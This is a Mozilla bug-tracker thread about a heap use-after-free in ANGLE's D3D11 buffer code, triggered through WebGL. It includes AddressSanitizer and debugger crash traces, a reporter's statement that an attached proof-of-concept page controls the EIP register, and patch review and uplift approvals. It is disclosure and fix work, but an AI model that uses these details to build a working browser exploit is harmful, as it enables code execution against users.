ucrtbase.dll!abort FAILURE_BUCKET_ID: FATAL_APP_EXIT_c0000409_ucrtbase.dll!abort ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:fatal_app_exit_c0000409_ucrtbase.dll!abort FAILURE_ID_HASH: {f324e349-b0b7-1f0f-a2b4-a992c83e193a} Followup: MachineOwner
(In reply to Milan Sreckovic [:milan] from comment #15) > Daniel, this is a bug in ANGLE, so possibly reproducible in Chrome as well. > Either way, can you help opening a Chrome security bug and maybe CC one of > their security people on this bug, or we can copy the details? I can reproduce it with the exact same test case in Google Chrome. shall I report it to google? ================================================================= ==16136==ERROR: AddressSanitizer: heap-use-after-free on address 0x21013e40 at pc 0x0892d9dc bp 0x00cfcb5c sp 0x00cfcb50 READ of size 4 at 0x21013e40 thread T0 ==16136==WARNING: Failed to use and restart external symbolizer! ==16136==*** WARNING: Failed to initialize DbgHelp! *** ==16136==*** Most likely this means that the app is already *** ==16136==*** using DbgHelp, possibly with incompatible flags. *** ==16136==*** Due to technical reasons, symbolization might crash *** ==16136==*** or produce wrong results. *** #0 0x892d9db in rx::Buffer11::updateBufferStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:807 #1 0x8921254 in rx::Buffer11::getBufferStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:695 #2 0x8920bf8 in rx::Buffer11::getSystemMemoryStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:323 #3 0x8921c98 in rx::Buffer11::setSubData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:360 #4 0x89205fa in rx::Buffer11::setData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:305 #5 0x8716ffa in gl::Buffer::bufferData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\Buffer.cpp:57 #6 0x85e17de in gl::Context::bufferData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\Context.cpp:3568 #7 0x1a947c33 in gpu::gles2::BufferManager::DoBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\buffer_manager.cc:463 #8 0x1a9476a7 in gpu::gles2::BufferManager::ValidateAndDoBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\buffer_manager.cc:431 #9 0x1c4bb499 in gpu::gles2::GLES2DecoderImpl::HandleBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\gles2_cmd_decoder.cc:12316 #10 0x1c52e219 in gpu::gles2::GLES2DecoderImpl::DoCommandsImpl<0> C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\gles2_cmd_decoder.cc:5204 #11 0x1a966da7 in gpu::CommandParser::ProcessCommands C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\cmd_parser.cc:53 #12 0x1c5918f5 in gpu::CommandExecutor::PutChanged C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\command_executor.cc:61 #13 0x1c4b73de in gpu::CommandBufferService::Flush C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\command_buffer_service.cc:98 #14 0x1acfb725 in gpu::GpuCommandBufferStub::OnAsyncFlush C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_command_buffer_stub.cc:829 #15 0x1acfb160 in IPC::MessageT<GpuCommandBufferMsg_AsyncFlush_Meta,std::tuple<int,unsigned int,std::vector<ui::LatencyInfo,std::allocator<ui::LatencyInfo> > >,void>::Dispatch<gpu::GpuCommandBufferStub,gpu::GpuCommandBufferStub,void,void (gpu::GpuCommandBufferStub::*)(int, unsigned int, const std::vector<ui::LatencyInfo,std::allocator<ui::LatencyInfo> > &) __attribute__((thiscall))> C:\b\c\b\win_asan_release\src\ipc\ipc_message_templates.h:120 #16 0x1acf696f in gpu::GpuCommandBufferStub::OnMessageReceived C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_command_buffer_stub.cc:244 #17 0x1ace55c0 in gpu::GpuChannel::HandleMessageHelper C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_channel.cc:802 #18 0x1ace5379 in gpu::GpuChannel::HandleMessage C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_channel.cc:782 #19 0x1acec3ca in base::internal::Invoker<base::internal::BindState<void (gpu::GpuChannel::*)(const scoped_refptr<gpu::GpuChannelMessageQueue> &) __attribute__((thiscall)),base::WeakPtr<gpu::GpuChannel>,scoped_refptr<gpu::GpuChannelMessageQueue> >,void ()>::Run C:\b\c\b\win_asan_release\src\base\bind_internal.h:340 #20 0x1355a645 in base::debug::TaskAnnotator::RunTask C:\b\c\b\win_asan_release\src\base\debug\task_annotator.cc:50 #21 0x134082df in base::MessageLoop::RunTask C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:413 #22 0x13409126 in base::MessageLoop::DeferOrRunPendingTask C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:422 #23 0x1340a436 in base::MessageLoop::DoWork C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:515 #24 0x13560c3a in base::MessagePumpDefault::Run C:\b\c\b\win_asan_release\src\base\message_loop\message_pump_default.cc:33 #25 0x13407349 in base::MessageLoop::RunHandler C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:378 #26 0x134863cd in base::RunLoop::Run C:\b\c\b\win_asan_release\src\base\run_loop.cc:37 #27 0x15a59482 in content::GpuMain C:\b\c\b\win_asan_release\src\content\gpu\gpu_main.cc:303 #28 0x1329a477 in content::RunNamedProcessTypeMain C:\b\c\b\win_asan_release\src\content\app\content_main_runner.cc:416 #29 0x1329bb14 in content::ContentMainRunnerImpl::Run C:\b\c\b\win_asan_release\src\content\app\content_main_runner.cc:793 #30 0x1329a050 in content::ContentMain C:\b\c\b\win_asan_release\src\content\app\content_main.cc:20 #31 0xfeb11fe in ChromeMain C:\b\c\b\win_asan_release\src\chrome\app\chrome_main.cc:112 #32 0xb7b77 in MainDllLoader::Launch C:\b\c\b\win_asan_release\src\chrome\app\main_dll_loader_win.cc:173 #33 0xb1943 in main C:\b\c\b\win_asan_release\src\chrome\app\chrome_exe_main_win.cc:248 #34 0x2c609d in __scrt_common_main_seh f:\dd\vctools\crt\vcstartup\src\startup\exe_common.inl:253 #35 0x76d638f3 in BaseThreadInitThunk+0x23 (C:\WINDOWS\SYSTEM32\KERNEL32.DLL+0x6b8138f3) #36 0x77cc5de2 in RtlUnicodeStringToInteger+0x252 (C:\WINDOWS\SYSTEM32\ntdll.dll+0x4b2e5de2) #37 0x77cc5dad in RtlUnicodeStringToInteger+0x21d (C:\WINDOWS\SYSTEM32\ntdll.dll+0x4b2e5dad) 0x21013e40 is located 0 bytes inside of 28-byte region [0x21013e40,0x21013e5c) freed by thread T0 here: #0 0x2acc58 in free e:\b\build\slave\win_upload_clang\build\src\third_party\llvm\projects\compiler-rt\lib\asan\asan_malloc_win.cc:44 #1 0x89315a0 in rx::Buffer11::SystemMemoryStorage::~SystemMemoryStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:253 #2 0x8926261 in rx::Buffer11::checkForDeallocation C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:552 #3 0x89266ce in rx::Buffer11::markBufferUsage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:580 #4 0x892139c in rx::Buffer11::getBufferStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:696 #5 0x892299e in rx::Buffer11::getStagingStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:847 #6 0x892d34f in rx::Buffer11::updateBufferStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:795 #7 0x8921254 in rx::Buffer11::getBufferStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:695 #8 0x8920bf8 in rx::Buffer11::getSystemMemoryStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:323 #9 0x8921c98 in rx::Buffer11::setSubData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:360 #10 0x89205fa in rx::Buffer11::setData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:305 #11 0x8716ffa in gl::Buffer::bufferData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\Buffer.cpp:57 #12 0x85e17de in gl::Context::bufferData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\Context.cpp:3568 #13 0x1a947c33 in gpu::gles2::BufferManager::DoBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\buffer_manager.cc:463 #14 0x1a9476a7 in gpu::gles2::BufferManager::ValidateAndDoBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\buffer_manager.cc:431 #15 0x1c4bb499 in gpu::gles2::GLES2DecoderImpl::HandleBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\gles2_cmd_decoder.cc:12316 #16 0x1c52e219 in gpu::gles2::GLES2DecoderImpl::DoCommandsImpl<0> C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\gles2_cmd_decoder.cc:5204 #17 0x1a966da7 in gpu::CommandParser::ProcessCommands C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\cmd_parser.cc:53 #18 0x1c5918f5 in gpu::CommandExecutor::PutChanged C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\command_executor.cc:61 #19 0x1c4b73de in gpu::CommandBufferService::Flush C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\command_buffer_service.cc:98 #20 0x1acfb725 in gpu::GpuCommandBufferStub::OnAsyncFlush C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_command_buffer_stub.cc:829 #21 0x1acfb160 in IPC::MessageT<GpuCommandBufferMsg_AsyncFlush_Meta,std::tuple<int,unsigned int,std::vector<ui::LatencyInfo,std::allocator<ui::LatencyInfo> > >,void>::Dispatch<gpu::GpuCommandBufferStub,gpu::GpuCommandBufferStub,void,void (gpu::GpuCommandBufferStub::*)(int, unsigned int, const std::vector<ui::LatencyInfo,std::allocator<ui::LatencyInfo> > &) __attribute__((thiscall))> C:\b\c\b\win_asan_release\src\ipc\ipc_message_templates.h:120 #22 0x1acf696f in gpu::GpuCommandBufferStub::OnMessageReceived C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_command_buffer_stub.cc:244 #23 0x1ace55c0 in gpu::GpuChannel::HandleMessageHelper C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_channel.cc:802 #24 0x1ace5379 in gpu::GpuChannel::HandleMessage C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_channel.cc:782 #25 0x1acec3ca in base::internal::Invoker<base::internal::BindState<void (gpu::GpuChannel::*)(const scoped_refptr<gpu::GpuChannelMessageQueue> &) __attribute__((thiscall)),base::WeakPtr<gpu::GpuChannel>,scoped_refptr<gpu::GpuChannelMessageQueue> >,void ()>::Run C:\b\c\b\win_asan_release\src\base\bind_internal.h:340 #26 0x1355a645 in base::debug::TaskAnnotator::RunTask C:\b\c\b\win_asan_release\src\base\debug\task_annotator.cc:50 #27 0x134082df in base::MessageLoop::RunTask C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:413 #28 0x13409126 in base::MessageLoop::DeferOrRunPendingTask C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:422 previously allocated by thread T0 here: #0 0x2acd3c in malloc e:\b\build\slave\win_upload_clang\build\src\third_party\llvm\projects\compiler-rt\lib\asan\asan_malloc_win.cc:65 #1 0x8c829d8 in operator new f:\dd\vctools\crt\vcstartup\src\heap\new_scalar.cpp:19 #2 0x892c5f0 in rx::Buffer11::allocateStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:709 #3 0x8921062 in rx::Buffer11::getBufferStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:686 #4 0x8920bf8 in rx::Buffer11::getSystemMemoryStorage C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:323 #5 0x8921c98 in rx::Buffer11::setSubData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:360 #6 0x89205fa in rx::Buffer11::setData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:305 #7 0x8716ffa in gl::Buffer::bufferData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\Buffer.cpp:57 #8 0x85e17de in gl::Context::bufferData C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\Context.cpp:3568 #9 0x1a947c33 in gpu::gles2::BufferManager::DoBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\buffer_manager.cc:463 #10 0x1a9476a7 in gpu::gles2::BufferManager::ValidateAndDoBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\buffer_manager.cc:431 #11 0x1c4bb499 in gpu::gles2::GLES2DecoderImpl::HandleBufferData C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\gles2_cmd_decoder.cc:12316 #12 0x1c52e219 in gpu::gles2::GLES2DecoderImpl::DoCommandsImpl<0> C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\gles2_cmd_decoder.cc:5204 #13 0x1a966da7 in gpu::CommandParser::ProcessCommands C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\cmd_parser.cc:53 #14 0x1c5918f5 in gpu::CommandExecutor::PutChanged C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\command_executor.cc:61 #15 0x1c4b73de in gpu::CommandBufferService::Flush C:\b\c\b\win_asan_release\src\gpu\command_buffer\service\command_buffer_service.cc:98 #16 0x1acfb725 in gpu::GpuCommandBufferStub::OnAsyncFlush C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_command_buffer_stub.cc:829 #17 0x1acfb160 in IPC::MessageT<GpuCommandBufferMsg_AsyncFlush_Meta,std::tuple<int,unsigned int,std::vector<ui::LatencyInfo,std::allocator<ui::LatencyInfo> > >,void>::Dispatch<gpu::GpuCommandBufferStub,gpu::GpuCommandBufferStub,void,void (gpu::GpuCommandBufferStub::*)(int, unsigned int, const std::vector<ui::LatencyInfo,std::allocator<ui::LatencyInfo> > &) __attribute__((thiscall))> C:\b\c\b\win_asan_release\src\ipc\ipc_message_templates.h:120 #18 0x1acf696f in gpu::GpuCommandBufferStub::OnMessageReceived C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_command_buffer_stub.cc:244 #19 0x1ace55c0 in gpu::GpuChannel::HandleMessageHelper C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_channel.cc:802 #20 0x1ace5379 in gpu::GpuChannel::HandleMessage C:\b\c\b\win_asan_release\src\gpu\ipc\service\gpu_channel.cc:782 #21 0x1acec3ca in base::internal::Invoker<base::internal::BindState<void (gpu::GpuChannel::*)(const scoped_refptr<gpu::GpuChannelMessageQueue> &) __attribute__((thiscall)),base::WeakPtr<gpu::GpuChannel>,scoped_refptr<gpu::GpuChannelMessageQueue> >,void ()>::Run C:\b\c\b\win_asan_release\src\base\bind_internal.h:340 #22 0x1355a645 in base::debug::TaskAnnotator::RunTask C:\b\c\b\win_asan_release\src\base\debug\task_annotator.cc:50 #23 0x134082df in base::MessageLoop::RunTask C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:413 #24 0x13409126 in base::MessageLoop::DeferOrRunPendingTask C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:422 #25 0x1340a436 in base::MessageLoop::DoWork C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:515 #26 0x13560c3a in base::MessagePumpDefault::Run C:\b\c\b\win_asan_release\src\base\message_loop\message_pump_default.cc:33 #27 0x13407349 in base::MessageLoop::RunHandler C:\b\c\b\win_asan_release\src\base\message_loop\message_loop.cc:378 #28 0x134863cd in base::RunLoop::Run C:\b\c\b\win_asan_release\src\base\run_loop.cc:37 SUMMARY: AddressSanitizer: heap-use-after-free C:\b\c\b\win_asan_release\src\third_party\angle\src\libANGLE\renderer\d3d\d3d11\Buffer11.cpp:807 in rx::Buffer11::updateBufferStorage Shadow bytes around the buggy address: 0x34202770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x34202780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x34202790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x342027a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x342027b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x342027c0: fa fa fa fa fa fa fa fa[fd]fd fd fd fa fa fd fd 0x342027d0: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x342027e0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x342027f0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x34202800: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x34202810: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==16136==ABORTING
Flags: needinfo?(loobenyang)
Reported to google: https://bugs.chromium.org/p/chromium/issues/detail?id=682020 Thanks for the quick fix Milan, please let me know if there is anything else I can help.
(In reply to Looben Yang from comment #19) > Reported to google: > https://bugs.chromium.org/p/chromium/issues/detail?id=682020 > > Thanks for the quick fix Milan, please let me know if there is anything else > I can help. Thanks. You can put a note in the chromium bug with my e-mail in that bug if they want to know the results of our investigation and our current fix/workaround?
Something similar was originally tracked as bug 1248276, but it was never identified as security and we didn't get far with it, other than "ANGLE update solves it". Which it clearly didn't :)
Comment on attachment 8827288 [details] [diff] [review] Speculative, mark as used earlier. While we're waiting for ANGLE team to respond, lets see if it makes sense to land this. Morris, you've looked at bug 1248276, can you take a look at this bug and this patch?
Attachment #8827288 - Flags: review?(mtseng)
Attachment #8827288 - Flags: review?(mtseng) → review+
(In reply to Milan Sreckovic [:milan] from comment #20) > (In reply to Looben Yang from comment #19) > > Reported to google: > > https://bugs.chromium.org/p/chromium/issues/detail?id=682020 > > > > Thanks for the quick fix Milan, please let me know if there is anything else > > I can help. > > Thanks. You can put a note in the chromium bug with my e-mail in that bug > if they want to know the results of our investigation and our current > fix/workaround? Done.
Comment on attachment 8827288 [details] [diff] [review] Speculative, mark as used earlier. [Security approval request comment] How easily could an exploit be constructed based on the patch? Not easily, just based on the patch. Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem? Not really. Which older supported branches are affected by this flaw? Likely. This is a problem in ANGLE, but it isn't clear that a particular version introduced it. If not all supported branches, which bug introduced the flaw? Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be? The ports are trivial. How likely is this patch to cause regressions; how much testing does it need? There would be a temporary increase in memory usage, but, I believe, only in the cases where deleting that memory would lead to UAF, so that's OK.
Attachment #8827288 - Flags: sec-approval?
This appears to be a ~50 crashes per day case (see bug 1248276.)
Assignee: nobody → milan
sec-approval for checkin on February 7, two weeks into the new cycle. I'm going to assume this affects 52 and higher. I would like to know if this affects ESR45.
status-firefox51: --- → wontfix
status-firefox52: --- → affected
status-firefox54: --- → affected
tracking-firefox52: --- → +
tracking-firefox53: --- → +
tracking-firefox54: --- → +
Whiteboard: [checkin on 2/7]
Attachment #8827288 - Flags: sec-approval? → sec-approval+
A new POC UAF_updateBufferStorage_POC_EIP_41414141.html is attached to illustrate the clear exploitability of this bug by controlling the EIP register. Firefox version: 53.0a1 (2017-01-21) (32-bit) OS: Windows 10 64 bit (114fc.1b754): Access violation - code c0000005 (!!! second chance !!!) eax=e5e5e5e5 ebx=244312e0 ecx=244312e0 edx=00000000 esi=227f03d0 edi=227f03d0 eip=41414141 esp=00ffdd28 ebp=00ffdd60 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 00ffdd4c 227f03d0 00000000 0x41414141 00ffdd84 244312e0 00000000 libGLESv2!rx::Buffer11::updateBufferStorage+0xde 00ffdda8 00000000 17264c80 libGLESv2!rx::Buffer11::getBufferStorage+0x85 00ffddd8 00000000 17264c80 libGLESv2!rx::Buffer11::getSystemMemoryStorage+0x13 00ffde10 00008892 18258000 libGLESv2!rx::Buffer11::setSubData+0x94 00ffde44 00008892 18258000 libGLESv2!rx::Buffer11::setData+0x29 -------- -------- -------- libGLESv2!gl::Buffer::bufferData+0x1b 00008892 00000877 18258000 libGLESv2!gl::Context::bufferData+0x34 00008892 00000877 18258000 libGLESv2!gl::BufferData+0x40 -------- -------- -------- xul!mozilla::gl::GLContext::raw_fBufferData+0x16 00008892 00000877 18258000 xul!mozilla::gl::GLContext::fBufferData+0x1a 00008892 00000877 18258000 xul!mozilla::WebGLBuffer::BufferData+0xc3 00008892 00000877 18258000 xul!mozilla::WebGLContext::BufferDataImpl+0x48 00008892 00000877 00000000 xul!mozilla::WebGLContext::BufferData+0x82 1373d000 00ffe024 15fe9c00 xul!mozilla::dom::WebGL2RenderingContextBinding::bufferData+0x29c 1373d000 00000003 15fe9c00 xul!mozilla::dom::GenericBindingMethod+0xc2 -------- -------- -------- xul!js::CallJSNative+0xe9 00000000 1373d000 00000000 xul!js::InternalCallOrConstruct+0x4b4 1373d000 00006000 23d44038 xul!InternalCall+0xa8 00ffead8 00ffead8 00ffead8 xul!Interpret+0x5f7e
https://hg.mozilla.org/mozilla-central/rev/9a103b890855
Status: NEW → RESOLVED
Closed: 8 years ago
status-firefox54: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla54
Jeff, can you track this and make sure it survives our next ANGLE update, or that it shows up in the upstream build. Whether it's this particular change or the equivalent.
Flags: needinfo?(jgilbert)
Milan, can you request uplift for this? Thanks!
Flags: needinfo?(milan)
Flags: needinfo?(milan)
See Also: → 1248276
Comment on attachment 8827288 [details] [diff] [review] Speculative, mark as used earlier. Approval Request Comment [Feature/Bug causing the regression]: [User impact if declined]: UAF, sec-high [Is this code covered by automated tests?]: No [Has the fix been verified in Nightly?]: Yes [Needs manual test from QE? If yes, steps to reproduce]: [List of other uplifts needed for the feature/fix]: [Is the change risky?]: Not risky as a change, but until we get a confirmation from Chrome, it may not be the fix they would have chosen. This is the simplest one. [Why is the change risky/not risky?]: [String changes made/needed]:
Attachment #8827288 - Flags: approval-mozilla-beta?
Attachment #8827288 - Flags: approval-mozilla-aurora?
Group: gfx-core-security → core-security-release
Comment on attachment 8827288 [details] [diff] [review] Speculative, mark as used earlier. avoid uaf in angle, aurora53+, beta52+
Attachment #8827288 - Flags: approval-mozilla-beta?
Attachment #8827288 - Flags: approval-mozilla-beta+
Attachment #8827288 - Flags: approval-mozilla-aurora?
Attachment #8827288 - Flags: approval-mozilla-aurora+
Comment on attachment 8827288 [details] [diff] [review] Speculative, mark as used earlier. See comment 32.
Attachment #8827288 - Flags: approval-mozilla-esr45?
Comment on attachment 8827288 [details] [diff] [review] Speculative, mark as used earlier. Fix a sec-high. ESR45+.
Attachment #8827288 - Flags: approval-mozilla-esr45? → approval-mozilla-esr45+
Flagging this for verification, instructions in Comment 0.
Flags: qe-verify+
This needs a rebased patch for ESR45.
Flags: needinfo?(milan)
I don't know that this applies to ESR45; it may have been a more recent change in ANGLE that broke this.
Flags: needinfo?(milan)
Attachment #8831423 - Attachment mime type: text/plain → text/html
I can reproduce the crashes on a Win10 machine with a GeForce GTX 1060 graphics card. Original testcase crash report UAF: bp-901cff05-ce78-4c6c-a092-748c12170214 The EIP control crash: bp-0324a1dd-0922-42e3-8ae2-823f42170214
Sorry if that alarmed anyone: I reproduced using the same 53.0a1 2016-12-22 nightly the reporter originally used. Using yesterday's 53 Aurora or the current 52 Beta 5 I could no longer reproduce. Appears to be fixed.
I was not able to reproduce on a Win7 laptop with a NVIDIA Quadra 1000M graphics card.
(In reply to Milan Sreckovic [:milan] from comment #39) > I don't know that this applies to ESR45; it may have been a more recent > change in ANGLE that broke this. On the same machine as in comment 40 and 41 I cannot reproduce on ESR 45.7
status-firefox-esr45: affected → unaffected
tracking-firefox-esr45: ? → ---
Flags: sec-bounty? → sec-bounty+
I was unable to reproduce this crash on our Windows test machines using AMD GPUs. I tried 52.0a2-win32 (20161222004019) with ATI Radeon 3000, AMD Radeon R7 200 and NVIDIA GeForce 210 -- no success. Removing qe-verify+ since there's nothing else I can do here to help. If there's someone else that could verify this on Beta 52 at least, that would be great.
Flags: qe-verify+
Whiteboard: [post-critsmash-triage]
tracking-firefox-esr52: ? → ---
Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][adv-main52+]
Alias: CVE-2017-5411
(In reply to Jeff Gilbert [:jgilbert] from comment #46) > Fixed upstream: > https://github.com/google/angle/commit/ > c1a5d16e964ad524487eac9d2e4b5a65d837ff27 Our fix is not their fix. we set "mIdleness[usage] = 0;" in one place, they do it in two. (and the one place we do it is after the newStorage->resize() instead of before, but shouldn't matter if that's a simple reallocation as it sounds -- but maybe it does matter) Looks like bug 1328762 was basically a dupe of this bug, but now shows that crashes were still happening in nightlies a couple of months after our fix was checked in.
Flags: needinfo?(jgilbert)
See Also: → CVE-2017-5031
We thought we were fine before. I remember our fix being fine. Feel free to double-check though.
Flags: in-testsuite? → in-testsuite-
Flags: needinfo?(jgilbert)
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: